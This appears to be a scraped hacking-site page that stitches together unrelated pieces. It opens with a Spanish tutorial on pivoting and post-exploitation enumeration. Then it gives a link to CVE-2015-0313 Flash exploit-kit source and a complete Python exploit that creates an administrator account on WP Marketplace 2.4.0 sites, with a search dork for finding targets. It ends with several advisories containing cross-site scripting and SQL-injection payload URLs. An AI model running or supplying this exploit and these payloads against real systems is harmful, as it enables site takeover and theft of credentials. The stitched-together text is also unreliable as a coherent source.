Básicamente, la metodología completa es la siguiente:

  1. Pivoting
  2. Enumeración Post-Explotación
  3. Explotación
  4. Vuelta al punto 1

En este aspecto, una vez hemos comprometido un activo, la enumeración para poder darnos cuenta de la existencias de otras redes o equipos variará en cada caso, sin embargo, si que hay ciertos patrones que se mantienen de forma general que podemos seguir.

Podemos empezar comprobando la caché ARP del equipo en busca de nuevas IPs, tanto en windows como en linux se puede ver mediante el comando arp -a.

Posteriormente, podemos echar un vistazo a los archivos hosts, la ruta de este archivo es la siguiente:

  • Linux –> /etc/hosts
  • Windows –> C:\Windows\System32\drivers\etc\hosts

En linux quizás también podría ayudarnos el archivo /etc/resolv.conf para descubrir servidores DNS. Una alternativa a este archivo es ejecutar el comando: nmcli dev show. Lo equivalente en windows sería usar el comando ipconfig /all.

También podríamos comprobar en Linux la tabla de routing, con el comando route -n o ip route. O ver si ya hay alguna conexión establecida con algún host con el comando netstat -auntp.

Por último, no olvidar comprobar las distintas interfaces de red que tenga el equipo:

  • Linux –> ifconfig, ip -4 addr, /proc/net/fib_trie
  • Windows –> ipconfig

En este punto, ya la enumeración adicional dependerá de cada caso, pero en lineas generales, ésto es lo común.

Una vez tenemos la información de a que equipos o red queremos llegar, la acción de hacer pivoting se puede llevar a cabo usando:

  • Herramientas preinstaladas en el equipo comprometido.
  • En caso de no tener, usar binarios estáticos de herramientas.

La diferencia entre un binario estático y uno dinámico es la compilación. La mayoría de programas hacen uso de librerías externas para su funcionamiento. El binario estático trae con la compilación estas librerías que requiere el programa, sin embargo, un binario dinámico las requiere del sistema operativo, esto quiere decir que necesitas que el sistema operativo tengas esas librerias, ya que sino no funcionará. Por lo que el binario estático te soluciona posibles problemas de dependencias.

  • Scripting.
  • Proxies.

Los proxies deben ser la última opción a usar, ya que éstos además de ser un poco lentos, suelen tener limitaciones sobre el tipo de tráfico que pueden transmitir, es decir, que por ejemplo, con un proxy TCP, no vas a poder hacer uso de tráfico UDP.

Ésto es todo en cuanto a que podemos usar para ejecutar pivoting.

Volviendo a la idea general del pivoting, hemos comentado mucho que su fin es acceder a otros equipos los cuales no tenemos accesos porque no están en nuestra red. Sin embargo, éste no es el único uso, el pivoting puede servirnos incluso para un equipo el cual ya tenemos acceso directamente.

Por ejemplo, puede que en ciertas ocasiones, un equipo no nos muestre todo los puertos abiertos que de verdad tiene, o que nos bloquee de distintas formas. Podemos en estos casos intentar hacer lo mismo pero a través de otro equipo de la misma red. Quien sabe si de la forma que está configurado, tiene una lista blanca de a que equipos bloquear o no X cosas.

Saber hacer pivoting también nos puede servir para mostrar externamente o tunelizar puertos que solo están abiertos de forma interna en la máquina, para así, poder interactuar desde fuera o desde nuestro equipo directamente.

Por eso mismo, el pivoting no solo es útil para acceder a otras redes, sino que también nos puede servir para interactuar con equipos de nuestra propia red.

HireHackking 
Source: https://github.com/SecurityObscurity/cve-2015-0313

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36491.zip

Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit

Reference:

http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/
http://malware.dontneedcoffee.com/2015/02/cve-2015-0313-flash-up-to-1600296-and.html
https://helpx.adobe.com/security/products/flash-player/apsa15-02.html
HireHackking 
#!/usr/bin/python
#
# Exploit Name: WP Marketplace 2.4.0 Remote Command Execution
#
# Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)
#
# Exploit written by Claudio Viviani
#
#
#
# --------------------------------------------------------------------
#
# The vulnerable function is located on "wpmarketplace/libs/cart.php" file:
#
# function ajaxinit(){
#     if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
#	    if(function_exists($_POST['execute']))
#		    call_user_func($_POST['execute'],$_POST);
#	    else
#		    echo __("function not defined!","wpmarketplace");
#	    die();
#	  }
#}
#
# Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).
# wpmp_pp_ajax_call() call functions by call_user_func() through POST data:
#
#         if (function_exists($_POST['execute']))
#             call_user_func($_POST['execute'], $_POST);
#         else
#         ...
#         ...
#         ...
#
# $_POST data needs to be an array
#
#
# The wordpress function wp_insert_user is perfect:
#
# http://codex.wordpress.org/Function_Reference/wp_insert_user
#
# Description
#
# Insert a user into the database.
#
# Usage
#
# <?php wp_insert_user( $userdata ); ?>
#
# Parameters
#
# $userdata
#     (mixed) (required) An array of user data, stdClass or WP_User object.
#        Default: None
#
#
#
# Evil POST Data (Add new Wordpress Administrator):
#
# action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
#
# ---------------------------------------------------------------------
#
# Dork google:  index of "wpmarketplace"
#
# Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

banner = """
    ___ ___               __                                         
   |   Y   .-----.----.--|  .-----.----.-----.-----.-----.           
   |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|           
   |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|           
   |:      |                |__|                                     
   |::.|:. |                                                         
   `--- ---'                                                         
       ___ ___            __          __         __                  
      |   Y   .---.-.----|  |--.-----|  |_.-----|  .---.-.----.-----.
      |.      |  _  |   _|    <|  -__|   _|  _  |  |  _  |  __|  -__|
      |. \_/  |___._|__| |__|__|_____|____|   __|__|___._|____|_____|
      |:  |   |                           |__|                       
      |::.|:. |                                                      
      `--- ---'                                                      
                                                          WP Marketplace
                                                      R3m0t3 C0d3 Ex3cut10n
                                                         (Add WP Admin)
                                                             v2.4.0

                               Written by:

                             Claudio Viviani

                          http://www.homelab.it

                             info@homelab.it
                         homelabit@protonmail.ch

                   https://www.facebook.com/homelabit
                      https://twitter.com/homelabit
                    https://plus.google.com/+HomelabIt1/
           https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)

host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()
pwd = id_generator()

body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',
                         'execute' : 'wp_insert_user',
                         'user_login' : username,
                         'user_pass' : pwd,
                         'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host
try:
    req = urllib2.Request(host+"/", body, headers)
    response = urllib2.urlopen(req)
    html = response.read()

    if html == "":
       print("[!] Account Added")
       print("[!] Location: "+host+"/wp-login.php")
       print("[!] Username: "+username)
       print("[!] Password: "+pwd)
    else:
       print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:
    print("[X] "+str(e))
except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))
HireHackking 
source: https://www.securityfocus.com/bid/51254/info

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.4.1 is vulnerable; other versions may also be affected. 

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.example.com/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
Config
HireHackking 
source: https://www.securityfocus.com/bid/51244/info

WHOIS for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WHOIS 1.4.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51241/info

The Comment Rating plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=
HireHackking 
source: https://www.securityfocus.com/bid/51240/info

Tienda Virtual is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--
HireHackking 
source: https://www.securityfocus.com/bid/51227/info

FuseTalk Forums is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FuseTalk Forums 3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/51221/info

PHPB2B is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[patch]/list.php?do=search&q=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/51220/info

WP Live.php plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/wp-livephp/wp-live.php?s=[Xss]